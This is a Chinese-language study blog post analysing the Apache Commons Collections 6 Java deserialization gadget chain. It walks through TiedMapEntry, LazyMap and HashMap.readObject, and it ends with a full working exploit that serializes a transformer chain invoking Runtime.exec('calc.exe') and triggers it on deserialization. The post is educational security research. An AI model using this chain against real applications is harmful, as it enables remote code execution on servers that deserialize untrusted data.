文章目錄
- 寫在前面
- Gadgets
- JavaCC鍊6分析
- 利用鍊
- 參考文章
寫在前面
感覺看完了cc鍊1以後cc鍊6就突然變得很簡單了(來自P神的簡化鍊,這裡我修改了一丢丢),那麼就開始學習了
Gadgets
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
*/
JavaCC鍊6分析
首先前置還是LazyMap的那一部分,将transformers傳入ChainedTransformer就實作了參數的傳遞(ChainedTransformer是實作了Transformer接⼝的⼀個類,它的作⽤是前⼀個回調傳回的結果,作為後⼀個回調的參數傳⼊
),之後用LazyMap的decorate包裝,在觸發lazymap的get方法後執行整個“回調”過程
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class,
Class[].class}, new Object[]{"getRuntime",
new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class,
Object[].class}, new Object[]{null, new
Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class
},
new String[]{"calc.exe"}),
new ConstantTransformer(1),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
之後這裡利用的是
TiedMapEntry
,用來觸發LazyMap的get方法
我們來看,在
TiedMapEntry
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
這裡調用了
getValue
函數
public Object getValue() {
return this.map.get(this.key);
}
是以我們控制這個
this.map
為
LazyMap
即可,接下來就是尋找一個能夠觸發
TiedMapEntry
的
hashcode
方法的點,學了P神的鍊子,P神用的是
HashMap
的
readObject
方法,但是發現P神一個地方似乎寫多了就是,我這裡親測删除後通過檔案讀寫也是沒問題的,不清楚,希望師父們給我說說
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
能看到最下面調用了
putVal(hash(key), key, value, false, false);
,跟進這個
hash
方法
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
是以我們将LazyMap傳入對象
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
還有要注意的一點就是
outerMap.remove("keykey");
因為在前面調用
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
發現這裡
HashMap
的
put
方法也調用了
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
導緻
LazyMap
這個利⽤鍊在這⾥被調⽤了⼀遍
進而使這個
super.map.put(key, value);
被調用
利用鍊
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class,
Class[].class}, new Object[]{"getRuntime",
new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class,
Object[].class}, new Object[]{null, new
Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class
},
new String[]{"calc.exe"}),
new ConstantTransformer(1),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
FileOutputStream fileInputStream = new FileOutputStream(new File("./1.txt"));
ObjectOutputStream oos = new ObjectOutputStream(fileInputStream);
oos.writeObject(expMap);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new
FileInputStream(new File("./1.txt")));
Object o = (Object) ois.readObject();